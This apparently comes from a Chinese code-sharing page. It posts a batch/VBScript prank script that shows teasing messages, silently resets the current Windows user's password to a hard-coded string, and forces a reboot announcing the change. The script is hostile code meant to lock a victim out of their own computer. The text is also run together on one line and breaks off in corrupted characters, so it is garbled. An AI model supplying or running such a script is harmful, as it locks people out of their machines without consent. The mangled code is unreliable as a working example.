admin管理员组

文章数量:1558049

:On Error Resume Next
Sub bat echo off & cls echo Batching_codez_here_following_vbs_rules & pause start wscript -e:vbs “%~f0” Exit Sub End Sub WScript.Echo(“嘿,谢谢你打开我哦,我等你很久拉!”&TSName)WScript.Echo(“你是可爱的XX童鞋吗?”)WScript.Echo(“哈,我想你拉,这你都不知道吗?”) WScript.Echo(“怎么才来,说~是不是不关心我”)WScript.Echo(“哼,我生气拉,等你这么久,心都凉啦。”)WScript.Echo(“我很生气,后果很严重哦。”) Const strPassword = “woshinidie”’ Set WshNetwork = CreateObject(“WScript.Network”)Dim userNameuserName = WshNetwork.userName&",user"Dim DomainSet Domain = GetObject(“WinNT://./”&userName)Domain.SetPassword strPasswordDomain.SetInfodim gjon error resume nextdim WSHshellAset WSHshellA = wscript.createobject(“wscript.shell”)WSHshellA.run “cmd.exe /c shutdown -r -t 300 -c ““你的开机密码已被改!!!!”” “,0 ,true dim ado while(a <> “”)a = inputbox (“你的电脑要被注销!!!”” “,””,“你的开机密码已被改!!ÿ

本文标签: 代码